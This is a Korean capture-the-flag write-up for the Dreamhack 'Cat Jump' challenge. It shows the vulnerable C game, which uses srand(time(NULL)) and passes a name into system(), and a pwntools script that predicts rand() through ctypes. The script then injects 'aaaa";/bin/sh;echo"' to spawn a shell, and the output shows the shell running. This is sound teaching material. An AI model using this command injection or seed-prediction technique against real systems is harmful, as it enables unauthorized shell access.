[dreamhack] Cat Jump writeup

1. 문제

thumbnail
Cat Jump

고양이가 방해물을 피해 옥상으로 올라갈 수 있도록 도와주세요!
플래그 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/701

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

#define CAT_JUMP_GOAL 37

#define CATNIP_PROBABILITY 0.1
#define CATNIP_INVINCIBLE_TIMES 3

#define OBSTACLE_PROBABILITY 0.5
#define OBSTACLE_LEFT  0
#define OBSTACLE_RIGHT 1

void Init() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
}

void PrintBanner() {
    puts("                         .-.\n" \
         "                          \\ \\\n" \
         "                           \\ \\\n" \
         "                            | |\n" \
         "                            | |\n" \
         "          /\\---/\\   _,---._ | |\n" \
         "         /^   ^  \\,'       `. ;\n" \
         "        ( O   O   )           ;\n" \
         "         `.=o=__,'            \\\n" \
         "           /         _,--.__   \\\n" \
         "          /  _ )   ,'   `-. `-. \\\n" \
         "         / ,' /  ,'        \\ \\ \\ \\\n" \
         "        / /  / ,'          (,_)(,_)\n" \
         "       (,;  (,,)      jrei\n");
}

char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db";

void StartGame() {
    char cat_name[32];
    char catnip;
    char cmd[64];
    char input;
    char obstacle;
    double p;
    unsigned char jump_cnt;

    srand(time(NULL));

    catnip = 0;
    jump_cnt = 0;

    puts("let the cat reach the roof! 🐈");

    sleep(1);

    do {
        // set obstacle with a specific probability.
        obstacle = rand() % 2;

        // get input.
        do {
            printf("left jump='h', right jump='j': ");
            scanf("%c%*c", &input);
        } while (input != 'h' && input != 'l');

        // jump.
        if (catnip) {
            catnip--;
            jump_cnt++;
            puts("the cat powered up and is invincible! nothing cannot stop! 🐈");
        } else if ((input == 'h' && obstacle != OBSTACLE_LEFT) ||
                (input == 'l' && obstacle != OBSTACLE_RIGHT)) {
            jump_cnt++;
            puts("the cat jumped successfully! 🐱");
        } else {
            puts("the cat got stuck by obstacle! 😿 🪨 ");
            return;
        }

        // eat some catnip with a specific probability.
        p = (double)rand() / RAND_MAX;
        if (p < CATNIP_PROBABILITY) {
            puts("the cat found and ate some catnip! 😽");
            catnip = CATNIP_INVINCIBLE_TIMES;
        }
    } while (jump_cnt < CAT_JUMP_GOAL);

    puts("your cat has reached the roof!\n");

    printf("let people know your cat's name 😼: ");
    scanf("%31s", cat_name);

    snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name);
    system(cmd);

    printf("goodjob! ");
    system("cat /tmp/cat_db");
}

int main(void) {
    Init();
    PrintBanner();
    StartGame();

    return 0;
}

‘h’ 또는 ‘l’을 입력해서 장애물을 피해 고양이를 점프시켜서 37번 성공해야한다. 그러고 나면 cat_name에 입력된 내용이 cmd 변수에 들어가면서 쉘을 실행시킬 수 있다.


37번을 요행으로 찍기에는 확률이 1/2^37 밖에 안되므로… 거의 불가능하다고 봐야하고 srand()함수에 취약점이 있다.

srand(time(NULL));

이렇게 할 경우, 만약 타임스탬프가 똑같은 값이면 시드가 같아지므로 그 다음에 수행되는 rand()함수의 값의 순서가 똑같이 나온다. 즉, 만약 시드가 똑같은 상태에서 3번의 rand()함수를 따로 실행하면 양쪽 3번의 결과값이 똑같다는 것이다.

그렇다면 실행되는 타임스탬프에 맞춰서 우리도 srand()함수를 실행해서 시드를 맞춰주고, 그 다음에 실행되는 rand()의 결과를 보고 점프를 하면 성공할 수 있다.

python에서 C 라이브러리를 실행할 수 있게 해주는 ctypes 라이브러리가 있기 때문에 이걸 이용했다.

간단한 exploit이다.

from pwn import *
import time
import ctypes, os

#p = process("./cat_jump")
p = remote("host8.dreamhack.games", 11275)

libc = ctypes.CDLL("libc.so.6")
libc.srand.argtypes = [ctypes.c_uint]
libc.srand.restype = None
libc.rand.restype = ctypes.c_int
libc.time.argtypes = [ctypes.POINTER(ctypes.c_long)] # 또는 ctypes.c_void_p
libc.time.restype = ctypes.c_long

libc.srand(libc.time(None))

for i in range(37):
    print(i+1)
    tmp_r = libc.rand()
    print(tmp_r)
    if tmp_r % 2 == 1:
        print(f"{tmp_r} is odd!")
        p.sendlineafter(b": ", b"h")
    else:
        print(f"{tmp_r} is even!")
        p.sendlineafter(b": ", b"l")
    tmp_r = libc.rand()
    print(p.recv(30))

p.sendlineafter(b": ", b"aaaa\";/bin/sh;echo\"")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Cat_jump/deploy$ python3 e_cat_jump.py 
[+] Starting local process './cat_jump': pid 2787490
[*] Switching to interactive mode
aaaa
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

cat_name에 입력할 때 잘 입력해야 system()함수를 거칠 때 쉘을 실행할 수 있다.


해결~